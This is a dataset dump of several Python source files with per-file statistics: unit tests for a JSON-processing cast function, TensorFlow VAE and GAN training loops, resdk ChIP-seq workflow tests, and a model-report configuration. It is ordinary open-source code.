def test_cast_null_if_empty(self):
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id'
}
}, 'cast': 'null_if_empty'}, {'id': 1}), {'id': 1})
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id'
}
}, 'cast': 'null_if_empty'}, {'id': None}), None)
self.assertEqual(json_process({'type': 'object', 'value': {
'value': {
'type': 'object',
'value': {
'id': {
'type': 'jsonpointer',
'value': '/id'
}
},
'cast': 'null_if_empty'
}
}}, {'id': None}), {'value': None})
self.assertEqual(json_process({'type': 'object', 'value': {
'value': {
'type': 'object',
'value': {
'id': {
'type': 'jsonpointer',
'value': '/id'
}
},
'cast': 'null_if_empty'
}
}, 'cast': 'null_if_empty'}, {'id': None}), None)
self.assertEqual(json_process({'type': 'array', 'from': [], 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id'
}
}, 'cast': 'null_if_empty'}, {}), None)
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id',
'cast': 'null_if_empty'
}
}}, {'id': None}), {'id': None})
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id',
'cast': 'null_if_empty'
}
}}, {'id': False}), {'id': False})
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id',
'cast': 'null_if_empty'
}
}}, {'id': 0}), {'id': 0})
def test_cast_pop_if_empty(self):
self.assertEqual(json_process({'type': 'object', 'value': {
'data': {
'type': 'object',
'value': {
'id': {
'type': 'jsonpointer',
'value': '/id'
}
},
'cast': 'pop_if_empty'
},
'flag': True
}}, {'id': 1}), {'data': {'id': 1}, 'flag': True})
self.assertEqual(json_process({'type': 'object', 'value': {
'data': {
'type': 'object',
'value': {
'id': {
'type': 'jsonpointer',
'value': '/id'
}
},
'cast': 'pop_if_empty'
},
'flag': True
}}, {'id': None}), {'flag': True})
| 31.267176 | 78 | 0.357422 | 308 | 4,096 | 4.600649 | 0.107143 | 0.12844 | 0.169372 | 0.238532 | 0.865914 | 0.865914 | 0.865914 | 0.865914 | 0.865914 | 0.865914 | 0 | 0.00445 | 0.451416 | 4,096 | 130 | 79 | 31.507692 | 0.626168 | 0 | 0 | 0.681034 | 0 | 0 | 0.216553 | 0 | 0 | 0 | 0 | 0 | 0.112069 | 1 | 0.025862 | false | 0 | 0.017241 | 0 | 0.051724 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e7698db6c068e944e440a7c8810401da2df0d9b4 | 7,421 | py | Python | opennng/util/trainer.py | avramus/OpenNGen | 88bd21e29a412b0d4319ad2db40dddf71167e422 | [
"MIT"
] | 5 | 2019-08-29T08:40:10.000Z | 2019-08-29T20:21:52.000Z | opennng/util/trainer.py | avramus/OpenNGen | 88bd21e29a412b0d4319ad2db40dddf71167e422 | [
"MIT"
] | null | null | null | opennng/util/trainer.py | avramus/OpenNGen | 88bd21e29a412b0d4319ad2db40dddf71167e422 | [
"MIT"
] | null | null | null | import tensorflow as tf
import time
import os
from opennng.util.generator import generate_gif_train_samples
from opennng.util.train_steps import vae_train_step, gan_train_step
from opennng.util.losses import vae_loss, gan_loss
import pickle
def dcvae_trainer(model,
train, valid,
optimizer, iterations, batch_size, save_checkpoint_steps, save_checkpoint_path,
valid_batch_size, valid_steps,
generate_train_samples, num_train_samples):
"""
This function is used to train a model.
Args:
model (tf.keras.Model): The model to be trained.
train_step: The train step of the model.
loss_fcn: The loss function used by the model.
train_dataset (tf.data.Dataset): The dataset used for training the model.
valid_y (tf.data.Dataset): The dataset used for evaluating the model.
optimizer: The optimizer used for train the model.
iterations (int): The number of iterations that the model will be trained on.
batch_size (int): The batch size of the training process.
save_checkpoint_steps (int): A checkpoint will be generated every this many steps.
save_checkpoint_path (str): The checkpoint path.
valid_batch_size (int): The batch size of the evaluation process.
valid_steps (int): An evaluation of the model will be performed every this many steps.
generate_train_samples (bool): Whether to generate gif samples during the training process.
num_train_samples (int): The number of samples to generate during the training process.
"""
train_dataset = train.batch(batch_size).repeat()
valid_dataset = valid.batch(valid_batch_size).repeat(1)
# generate a noise (latent sample) from where train samples will be created
if generate_train_samples:
noise = tf.random.normal(shape=[num_train_samples, 1, model.latent_dim], seed=42)
# iterate the train dataset
for iter, train_batch in enumerate(train_dataset):
if iter > iterations:
break
# perform a train step
train_loss = vae_train_step(model, train_batch, optimizer)
print("Iter: {}/{} - Train loss: {:.3f}".format(iter, iterations, train_loss))
# if the current step is a saving checkpoint step, save the model and add a new frame to the gif samples
if iter % save_checkpoint_steps == 0:
print("Iter: {}/{} - Checkpoint reached. Saving the model...".format(iter, iterations))
model.save_weights(os.path.join(save_checkpoint_path, "model", "model_iter_{}".format(iter)))
with open(os.path.join(save_checkpoint_path, "model", "model.meta"), "wb") as model_meta_file:
pickle.dump(train_batch[0].shape, model_meta_file)
if generate_train_samples:
print("Iter: {}/{} - Generating {} train gif samples with model {}..."
.format(iter, iterations, num_train_samples, model.name))
generate_gif_train_samples(model, num_train_samples,
noise, os.path.join(save_checkpoint_path, "train_samples"),
"[0,1]")
if iter % valid_steps == 0:
loss_mean = tf.keras.metrics.Mean()
for valid_batch in valid_dataset:
loss_mean(vae_loss(model, valid_batch))
end = time.time()
print("Iter: {}/{} - Train loss: {:.3f}, Valid loss: {:.3f}, Time: {:.3f}".
format(iter, iterations, train_loss, loss_mean.result(), 0 if iter == 0 else end - start))
start = time.time()
def dcgan_trainer(model,
train, valid,
optimizer, iterations, batch_size, save_checkpoint_steps, save_checkpoint_path,
valid_batch_size, valid_steps,
generate_train_samples, num_train_samples):
"""
This function is used to train a model.
Args:
model (tf.keras.Model): The model to be trained.
train_step: The train step of the model.
loss_fcn: The loss function used by the model.
train_dataset (tf.data.Dataset): The dataset used for training the model.
valid_y (tf.data.Dataset): The dataset used for evaluating the model.
optimizer: The optimizer used for train the model.
iterations (int): The number of iterations that the model will be trained on.
batch_size (int): The batch size of the training process.
save_checkpoint_steps (int): A checkpoint will be generated every this many steps.
save_checkpoint_path (str): The checkpoint path.
valid_batch_size (int): The batch size of the evaluation process.
valid_steps (int): An evaluation of the model will be performed every this many steps.
generate_train_samples (bool): Whether to generate gif samples during the training process.
num_train_samples (int): The number of samples to generate during the training process.
"""
train_dataset = train.batch(batch_size).repeat()
valid_dataset = valid.batch(valid_batch_size).repeat(1)
# generate a noise (latent sample) from where train samples will be created
if generate_train_samples:
noise = tf.random.normal(shape=[num_train_samples, 1, model.latent_dim], seed=42)
# iterate the train dataset
for iter, train_batch in enumerate(train_dataset):
if iter > iterations:
break
# perform a train step
gen_loss, disc_loss = gan_train_step(model, train_batch, optimizer)
print("Iter: {}/{} - Train loss: (gen {:.3f}, disc {:.3f})".format(iter, iterations, gen_loss, disc_loss))
# if the current step is a saving checkpoint step, save the model and add a new frame to the gif samples
if iter % save_checkpoint_steps == 0:
print("Iter: {}/{} - Checkpoint reached. Saving the model...".format(iter, iterations))
model.save_weights(os.path.join(save_checkpoint_path, "model", "gan"))
if generate_train_samples:
print("Iter: {}/{} - Generating {} train gif samples with model {}..."
.format(iter, iterations, num_train_samples, model.name))
generate_gif_train_samples(model, num_train_samples,
noise, os.path.join(save_checkpoint_path, "train_samples"),
"[-1,1]")
if iter % valid_steps == 0:
valid_gen_mean_loss = tf.keras.metrics.Mean()
disc_gen_mean_loss = tf.keras.metrics.Mean()
for valid_batch in valid_dataset:
gen_loss, disc_loss = gan_loss(model, valid_batch, iterations, iter+1)
valid_gen_mean_loss(gen_loss)
disc_gen_mean_loss(disc_loss)
end = time.time()
print("Iter: {}/{} - Train loss: (gen {:.3f}, disc {:.3f}), "
"Valid loss: (gen {:.3f}, disc {:.3f}), Time: {:.3f}".
format(iter, iterations, gen_loss, disc_loss,
valid_gen_mean_loss.result(), disc_gen_mean_loss.result(), 0 if iter == 0 else end - start))
start = time.time() | 48.822368 | 117 | 0.625387 | 951 | 7,421 | 4.685594 | 0.126183 | 0.067325 | 0.033662 | 0.015709 | 0.887792 | 0.876347 | 0.852558 | 0.834605 | 0.800718 | 0.800718 | 0 | 0.006224 | 0.285541 | 7,421 | 152 | 118 | 48.822368 | 0.834214 | 0.339577 | 0 | 0.578947 | 1 | 0.013158 | 0.121967 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026316 | false | 0 | 0.092105 | 0 | 0.118421 | 0.105263 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e78390719095632ab0decd5313d499e4e77afbdf | 9,815 | py | Python | resdk/tests/functional/analysis/e2e_chip_seq.py | tristanbrown/resolwe-bio-py | c911defde8a5e7e902ad1adf4f9e480f17002c18 | [
"Apache-2.0"
] | null | null | null | resdk/tests/functional/analysis/e2e_chip_seq.py | tristanbrown/resolwe-bio-py | c911defde8a5e7e902ad1adf4f9e480f17002c18 | [
"Apache-2.0"
] | null | null | null | resdk/tests/functional/analysis/e2e_chip_seq.py | tristanbrown/resolwe-bio-py | c911defde8a5e7e902ad1adf4f9e480f17002c18 | [
"Apache-2.0"
] | null | null | null | # pylint: disable=missing-docstring
from __future__ import absolute_import, division, print_function, unicode_literals
from resdk.tests.functional.base import BaseResdkFunctionalTest
class TestChipSeq(BaseResdkFunctionalTest):
def test_bamsplit(self):
collection = self.res.collection.create(name='Test collection')
# pylint: disable=unbalanced-tuple-unpacking
bam_1, bam_2 = self.get_bams(2, collection, build='hg19_dm6')
bam_3, bam_4, bam_5 = self.get_bams(3, build='hg19_dm6')
reads = self.get_reads()[0]
# pylint: enable=unbalanced-tuple-unpacking
relation = collection.create_background_relation(bam_3.sample, bam_4.sample)
# Run on a collection
bamsplit = collection.run_bamsplit()
self.assertEqual(len(bamsplit), 2)
self.assertEqual(bamsplit[0].input['bam'], bam_1.id)
self.assertEqual(bamsplit[1].input['bam'], bam_2.id)
# Second run with same parameters should fail as sample now has multiple bams
with self.assertRaises(LookupError):
collection.run_bamsplit()
# Run on a background relation
bamsplit = relation.run_bamsplit()
self.assertEqual(len(bamsplit), 2)
self.assertEqual(bamsplit[0].input['bam'], bam_3.id)
self.assertEqual(bamsplit[1].input['bam'], bam_4.id)
# Run on a single sample
bamsplit = bam_5.sample.run_bamsplit()
self.assertEqual(len(bamsplit), 1)
self.assertEqual(bamsplit[0].input['bam'], bam_5.id)
# Run on a sample without a bam
with self.assertRaises(LookupError):
reads.sample.run_bamsplit()
def test_macs(self):
collection = self.res.collection.create(name='Test collection')
collection_2 = self.res.collection.create(name='Another collection')
# pylint: disable=unbalanced-tuple-unpacking
background, bam_1, bam_2 = self.get_bams(3, collection)
# pylint: enable=unbalanced-tuple-unpacking
collection.create_background_relation(bam_1.sample, background.sample)
collection.create_background_relation(bam_2.sample, background.sample)
group = collection.create_group_relation(samples=[bam_1.sample, background.sample])
# Just to create some confusion :)
collection_2.add_samples(background.sample, bam_2.sample)
collection_2.create_background_relation(bam_2.sample, background.sample)
# Run on collection should only use samples with defined backgrounds
macs = collection.run_macs()
self.assertEqual(len(macs), 2)
self.assertEqual(macs[0].input['treatment'], bam_1.id)
self.assertEqual(macs[0].input['control'], background.id)
self.assertEqual(macs[1].input['treatment'], bam_2.id)
self.assertEqual(macs[1].input['control'], background.id)
# Second run with same parameters should return same objects
macs_2 = collection.run_macs()
self.assertEqual(macs[0].id, macs_2[0].id)
self.assertEqual(macs[1].id, macs_2[1].id)
# Run with no background should use all samples
macs = collection.run_macs(use_background=False)
self.assertEqual(len(macs), 3)
self.assertEqual(macs[0].input['treatment'], background.id)
self.assertFalse('control' in macs[0].input)
self.assertEqual(macs[1].input['treatment'], bam_1.id)
self.assertFalse('control' in macs[1].input)
self.assertEqual(macs[2].input['treatment'], bam_2.id)
self.assertFalse('control' in macs[2].input)
# Run on group should use only collections with defined backgrounds
macs = group.run_macs()
self.assertEqual(len(macs), 1)
self.assertEqual(macs[0].input['treatment'], bam_1.id)
self.assertEqual(macs[0].input['control'], background.id)
# Run with no background should use all samples
macs = group.run_macs(use_background=False)
self.assertEqual(len(macs), 2)
self.assertEqual(macs[0].input['treatment'], bam_1.id)
self.assertFalse('control' in macs[0].input)
self.assertEqual(macs[1].input['treatment'], background.id)
self.assertFalse('control' in macs[1].input)
# Normal run on single sample
macs = bam_1.sample.run_macs()
self.assertEqual(len(macs), 1)
self.assertEqual(macs[0].input['treatment'], bam_1.id)
self.assertEqual(macs[0].input['control'], background.id)
# Normal run on single sample with no background
macs = bam_1.sample.run_macs(use_background=False)
self.assertEqual(len(macs), 1)
self.assertEqual(macs[0].input['treatment'], bam_1.id)
self.assertFalse('control' in macs[0].input)
# This should crash because sample has 2 backgrounds defined
with self.assertRaises(LookupError):
bam_2.sample.run_macs()
# But it is ok to run it without background
macs = bam_2.sample.run_macs(use_background=False)
self.assertEqual(len(macs), 1)
self.assertEqual(macs[0].input['treatment'], bam_2.id)
self.assertFalse('control' in macs[0].input)
# This should crash because sample has no background
with self.assertRaises(LookupError):
background.sample.run_macs()
# But it is ok to run it without background
macs = background.sample.run_macs(use_background=False)
self.assertEqual(len(macs), 1)
self.assertEqual(macs[0].input['treatment'], background.id)
self.assertFalse('control' in macs[0].input)
def test_rose(self):
collection = self.res.collection.create(name='Test collection')
collection_2 = self.res.collection.create(name='Another collection')
# pylint: disable=unbalanced-tuple-unpacking
macs_1, macs_2 = self.get_macs(2, collection)
background = self.get_bams(1, collection)[0]
# pylint: enable=unbalanced-tuple-unpacking
collection.create_background_relation(macs_1.sample, background.sample)
collection.create_background_relation(macs_2.sample, background.sample)
group = collection.create_group_relation(samples=[macs_1.sample, background.sample])
# Just to create some confusion :)
collection_2.add_samples(background.sample, macs_2.sample)
collection_2.create_background_relation(macs_2.sample, background.sample)
# Run on collection should only use samples with defined backgrounds
rose = collection.run_rose2()
self.assertEqual(len(rose), 2)
self.assertEqual(rose[0].input['input'], macs_1.id)
self.assertEqual(rose[0].input['control'], background.id)
self.assertEqual(rose[1].input['input'], macs_2.id)
self.assertEqual(rose[1].input['control'], background.id)
# Second run with same parameters should return same objects
rose_2 = collection.run_rose2()
self.assertEqual(rose[0].id, rose_2[0].id)
self.assertEqual(rose[1].id, rose_2[1].id)
# Run on group should use only collections with defined backgrounds
rose = group.run_rose2()
self.assertEqual(len(rose), 1)
self.assertEqual(rose[0].input['input'], macs_1.id)
self.assertEqual(rose[0].input['control'], background.id)
# Normal run on single sample
rose = macs_1.sample.run_rose2()
self.assertEqual(len(rose), 1)
self.assertEqual(rose[0].input['input'], macs_1.id)
self.assertEqual(rose[0].input['control'], background.id)
# Normal run on single sample with no background
rose = macs_1.sample.run_rose2(use_background=False)
self.assertEqual(len(rose), 1)
self.assertEqual(rose[0].input['input'], macs_1.id)
self.assertFalse('control' in rose[0].input)
# Add another sample with no background
macs_3 = self.get_macs(1, collection)[0]
group.add_sample(macs_3.sample)
# Run with no background should use all samples
# Background is skipped, because there is no macs object
rose = group.run_rose2(use_background=False)
self.assertEqual(len(rose), 2)
self.assertEqual(rose[0].input['input'], macs_1.id)
self.assertFalse('control' in rose[0].input)
self.assertEqual(rose[1].input['input'], macs_3.id)
self.assertFalse('control' in rose[1].input)
# Run with no background should use all samples
# Background is skipped, because there is no macs object
rose = collection.run_rose2(use_background=False)
self.assertEqual(len(rose), 3)
self.assertEqual(rose[0].input['input'], macs_1.id)
self.assertFalse('control' in rose[0].input)
self.assertEqual(rose[1].input['input'], macs_2.id)
self.assertFalse('control' in rose[1].input)
self.assertEqual(rose[2].input['input'], macs_3.id)
self.assertFalse('control' in rose[2].input)
# This should crash because sample has 2 backgrounds defined
with self.assertRaises(LookupError):
macs_2.sample.run_rose2()
# But it is ok to run it without background
rose = macs_2.sample.run_rose2(use_background=False)
self.assertEqual(len(rose), 1)
self.assertEqual(rose[0].input['input'], macs_2.id)
self.assertFalse('control' in rose[0].input)
# This should crash because sample has no background
with self.assertRaises(LookupError):
macs_3.sample.run_rose2()
# But it is ok to run it without background
rose = macs_3.sample.run_rose2(use_background=False)
self.assertEqual(len(rose), 1)
self.assertEqual(rose[0].input['input'], macs_3.id)
self.assertFalse('control' in rose[0].input)
| 44.411765 | 92 | 0.668976 | 1,287 | 9,815 | 4.986014 | 0.081585 | 0.140252 | 0.053296 | 0.059841 | 0.854761 | 0.815178 | 0.782453 | 0.754247 | 0.710612 | 0.651239 | 0 | 0.023349 | 0.21457 | 9,815 | 220 | 93 | 44.613636 | 0.809054 | 0.181966 | 0 | 0.446043 | 0 | 0 | 0.056077 | 0 | 0 | 0 | 0 | 0 | 0.589928 | 1 | 0.021583 | false | 0 | 0.014388 | 0 | 0.043165 | 0.007194 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e79689fd9145053ee2a27b1a9585abfa752bb442 | 8,916 | py | Python | config/model_configurations.py | raghavsikaria/Project-Rajasuyya | e6d4587fc8c5b5f431805d66427925f572495c71 | [
"MIT"
] | 1 | 2020-07-04T14:31:21.000Z | 2020-07-04T14:31:21.000Z | config/model_configurations.py | raghavsikaria/Project-Rajasuyya | e6d4587fc8c5b5f431805d66427925f572495c71 | [
"MIT"
] | null | null | null | config/model_configurations.py | raghavsikaria/Project-Rajasuyya | e6d4587fc8c5b5f431805d66427925f572495c71 | [
"MIT"
] | null | null | null | DATA_PATH = "data/<PATH_TO_DATA>"
DEPENDENT_VARIABLE = "National Stock Exchange: Index: Nifty Bank returns"
FORECAST_PERIOD = 1
CONFIG = {
"SIMPLE_CNN" : {
"MODEL_NAME": "simple_convolutional_network",
"MODEL_NAME_REPORT": "Simple Convolutional Network",
"NUMBER_OF_OBS_FROM_PAST": 30,
"TS_BOARD_LOGS": "./assets/simple_cnn/logs",
"MODEL_PLOT_PATH": "assets/simple_cnn/simple_cnn_model_plot_TS_{}.png",
"MODEL_SUMMARY_PATH": "assets/simple_cnn/simple_cnn_model_summary_TS_{}.txt",
"MODEL_SAVE": "assets/simple_cnn/simple_cnn_model_{}",
"MODEL_OPTIMISED_HYPERPARAMETERS": "assets/simple_cnn/simple_cnn_hpo_result",
"MODEL_HPO_PLOT_PATHS": ["assets/simple_cnn/hpo_iterations.png", "assets/simple_cnn/hpo_plot_convergence.png", "assets/simple_cnn/hpo_plot_evaluation.png", "assets/simple_cnn/hpo_plot_objective.png", "assets/simple_cnn/hpo_plot_regret.png"],
"MODEL_PREDICTION_PLOT_PATH_HTML": "assets/simple_cnn/simple_cnn_model_prediction_{}.html",
"MODEL_PREDICTION_PLOT_PATH_PNG": "assets/simple_cnn/simple_cnn_model_prediction_{}.png",
"MODEL_TRAINING_HISTORY_PLOT_PATH_HTML": "assets/simple_cnn/simple_cnn_model_training_hist_{}.html",
"MODEL_TRAINING_HISTORY_PLOT_PATH_PNG": "assets/simple_cnn/simple_cnn_model_training_hist_{}.png",
"MARKDOWN_PATH": "assets/simple_cnn/simple_cnn_descr_md_{}.md",
"MARKDOWN_TEMPLATE": """[model_plot_path]: {MODEL_PLOT_PATH}\n[model_training_hist_path]: {MODEL_TRAINING_HIST_PATH}\n[model_prediction_path]: model_prediction_path_key\n[hpo_plot_convergence_path]: model_hpo_plot_convergence_path_key\n[hpo_plot_evaluation_path]: model_hpo_plot_evaluation_path_key\n[hpo_plot_objective_path]: model_hpo_plot_objective_path_key\n[hpo_plot_regret_path]: model_hpo_plot_regret_path_key\n[model_hpo_iterations_path]: model_hpo_iterations_path_key\n# {MODEL_NAME} \n\n#### TIMESTAMP: {TIMESTAMP} \n\n## Model Summary \n\n```txt \n\n{MODEL_SUMMARY}\n\n``` \n\n## Model Plot\n\n<span style="display:block;text-align:center">![{MODEL_NAME}][model_plot_path]</span>\n\n## Hyperparameter Optimization\n\n### Iterations & Results\n\n<span style="display:block;text-align:center">![HPO Iterations Table to be added when HPO is conducted][model_hpo_iterations_path]</span>\n\n### Convergence Plot\n\n<span style="display:block;text-align:center">![convergence plot to be added when HPO is conducted][hpo_plot_convergence_path]</span>\n\n### Evaluation Plot\n\n<span style="display:block;text-align:center">![evaluation plot to be added when HPO is conducted][hpo_plot_evaluation_path]</span>\n\n### Objective Plot\n\n<span style="display:block;text-align:center">![objective plot to be added when HPO is conducted][hpo_plot_objective_path]</span>\n\n### Regret Plot\n\n<span style="display:block;text-align:center">![regret plot to be added when HPO is conducted][hpo_plot_regret_path]</span>\n\n## Model Training History\n\n<span style="display:block;text-align:center">![{MODEL_NAME}][model_training_hist_path]</span>\n\n## Model Predictions & MSE\n\nInteractive plots of the below graphs can be found in HTML files in this model's assets.\n\n<span style="display:block;text-align:center">![{MODEL_NAME} - Predictions - Will be added when predictions are generated][model_prediction_path]</span>""",
"MARKDOWN_MODEL_PREDICTIONS_KEY": "model_prediction_path_key",
"MARKDOWN_MODEL_HPO_PLOT_KEYS": ["model_hpo_iterations_path_key", "model_hpo_plot_convergence_path_key", "model_hpo_plot_evaluation_path_key", "model_hpo_plot_objective_path_key", "model_hpo_plot_regret_path_key"],
"BOKEH":{
"CREDIT":"raghavsikaria9@gmail.com | https://www.linkedin.com/in/raghavsikaria/",
"VALIDATION_PREDICTION_TITLE":"{} | Validation Data Prediction - MSE: {}",
"TESTING_PREDICTION_TITLE":"{} | Test Data Prediction - MSE: {}",
"PREDICTION_AXES_LABELS":("Days into the future","Actual + Predicted Daily Returns"),
"PREDICTION_LEGEND_ACTUAL_RETURNS": "Actual Returns",
"PREDICTION_LEGEND_PREDICTED_RETURNS": "Predicted Returns",
"TRAINING_HISTORY_TITLE":"{} | Training History",
"TRAINING_HISTORY_AXES_LABELS":("Epochs","Training + Validation Loss"),
"TRAINING_HISTORY_LEGEND_TRAINING_LOSS": "Training Loss",
"TRAINING_HISTORY_LEGEND_VALIDATION_LOSS": "Validation Loss",
"PLOT_WIDTH":1200,
"PLOT_HEIGHT":500
}
},
"SIMPLE_LSTM" : {
"MODEL_NAME": "simple_lstm_network",
"MODEL_NAME_REPORT": "Simple LSTM Network",
"NUMBER_OF_OBS_FROM_PAST": 30,
"TS_BOARD_LOGS": "./assets/simple_lstm/logs",
"MODEL_PLOT_PATH": "assets/simple_lstm/simple_lstm_model_plot_TS_{}.png",
"MODEL_SUMMARY_PATH": "assets/simple_lstm/simple_lstm_model_summary_TS_{}.txt",
"MODEL_SAVE": "assets/simple_lstm/simple_lstm_model_{}",
"MODEL_OPTIMISED_HYPERPARAMETERS": "assets/simple_lstm/simple_lstm_hpo_result",
"MODEL_HPO_PLOT_PATHS": ["assets/simple_lstm/hpo_iterations.png", "assets/simple_lstm/hpo_plot_convergence.png", "assets/simple_lstm/hpo_plot_evaluation.png", "assets/simple_lstm/hpo_plot_objective.png", "assets/simple_lstm/hpo_plot_regret.png"],
"MODEL_PREDICTION_PLOT_PATH_HTML": "assets/simple_lstm/simple_lstm_model_prediction_{}.html",
"MODEL_PREDICTION_PLOT_PATH_PNG": "assets/simple_lstm/simple_lstm_model_prediction_{}.png",
"MODEL_TRAINING_HISTORY_PLOT_PATH_HTML": "assets/simple_lstm/simple_lstm_model_training_hist_{}.html",
"MODEL_TRAINING_HISTORY_PLOT_PATH_PNG": "assets/simple_lstm/simple_lstm_model_training_hist_{}.png",
"MARKDOWN_PATH": "assets/simple_lstm/simple_lstm_descr_md_{}.md",
"MARKDOWN_TEMPLATE": """[model_plot_path]: {MODEL_PLOT_PATH}\n[model_training_hist_path]: {MODEL_TRAINING_HIST_PATH}\n[model_prediction_path]: model_prediction_path_key\n[hpo_plot_convergence_path]: model_hpo_plot_convergence_path_key\n[hpo_plot_evaluation_path]: model_hpo_plot_evaluation_path_key\n[hpo_plot_objective_path]: model_hpo_plot_objective_path_key\n[hpo_plot_regret_path]: model_hpo_plot_regret_path_key\n[model_hpo_iterations_path]: model_hpo_iterations_path_key\n# {MODEL_NAME} \n\n#### TIMESTAMP: {TIMESTAMP} \n\n## Model Summary \n\n```txt \n\n{MODEL_SUMMARY}\n\n``` \n\n## Model Plot\n\n<span style="display:block;text-align:center">![{MODEL_NAME}][model_plot_path]</span>\n\n## Hyperparameter Optimization\n\n### Iterations & Results\n\n<span style="display:block;text-align:center">![HPO Iterations Table to be added when HPO is conducted][model_hpo_iterations_path]</span>\n\n### Convergence Plot\n\n<span style="display:block;text-align:center">![convergence plot to be added when HPO is conducted][hpo_plot_convergence_path]</span>\n\n### Evaluation Plot\n\n<span style="display:block;text-align:center">![evaluation plot to be added when HPO is conducted][hpo_plot_evaluation_path]</span>\n\n### Objective Plot\n\n<span style="display:block;text-align:center">![objective plot to be added when HPO is conducted][hpo_plot_objective_path]</span>\n\n### Regret Plot\n\n<span style="display:block;text-align:center">![regret plot to be added when HPO is conducted][hpo_plot_regret_path]</span>\n\n## Model Training History\n\n<span style="display:block;text-align:center">![{MODEL_NAME}][model_training_hist_path]</span>\n\n## Model Predictions & MSE\n\nInteractive plots of the below graphs can be found in HTML files in this model's assets.\n\n<span style="display:block;text-align:center">![{MODEL_NAME} - Predictions - Will be added when predictions are generated][model_prediction_path]</span>""",
"MARKDOWN_MODEL_PREDICTIONS_KEY": "model_prediction_path_key",
"MARKDOWN_MODEL_HPO_PLOT_KEYS": ["model_hpo_iterations_path_key", "model_hpo_plot_convergence_path_key", "model_hpo_plot_evaluation_path_key", "model_hpo_plot_objective_path_key", "model_hpo_plot_regret_path_key"],
"BOKEH":{
"CREDIT":"raghavsikaria9@gmail.com | https://www.linkedin.com/in/raghavsikaria/",
"VALIDATION_PREDICTION_TITLE":"{} | Validation Data Prediction - MSE: {}",
"TESTING_PREDICTION_TITLE":"{} | Test Data Prediction - MSE: {}",
"PREDICTION_AXES_LABELS":("Days into the future","Actual + Predicted Daily Returns"),
"PREDICTION_LEGEND_ACTUAL_RETURNS": "Actual Returns",
"PREDICTION_LEGEND_PREDICTED_RETURNS": "Predicted Returns",
"TRAINING_HISTORY_TITLE":"{} | Training History",
"TRAINING_HISTORY_AXES_LABELS":("Epochs","Training + Validation Loss"),
"TRAINING_HISTORY_LEGEND_TRAINING_LOSS": "Training Loss",
"TRAINING_HISTORY_LEGEND_VALIDATION_LOSS": "Validation Loss",
"PLOT_WIDTH":1200,
"PLOT_HEIGHT":500
}
}
} | 125.577465 | 1,930 | 0.749664 | 1,259 | 8,916 | 4.914218 | 0.096902 | 0.01487 | 0.038791 | 0.028447 | 0.967836 | 0.95038 | 0.882496 | 0.868919 | 0.831744 | 0.799741 | 0 | 0.00267 | 0.11799 | 8,916 | 71 | 1,931 | 125.577465 | 0.784079 | 0 | 0 | 0.478873 | 0 | 0.028169 | 0.858136 | 0.589212 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.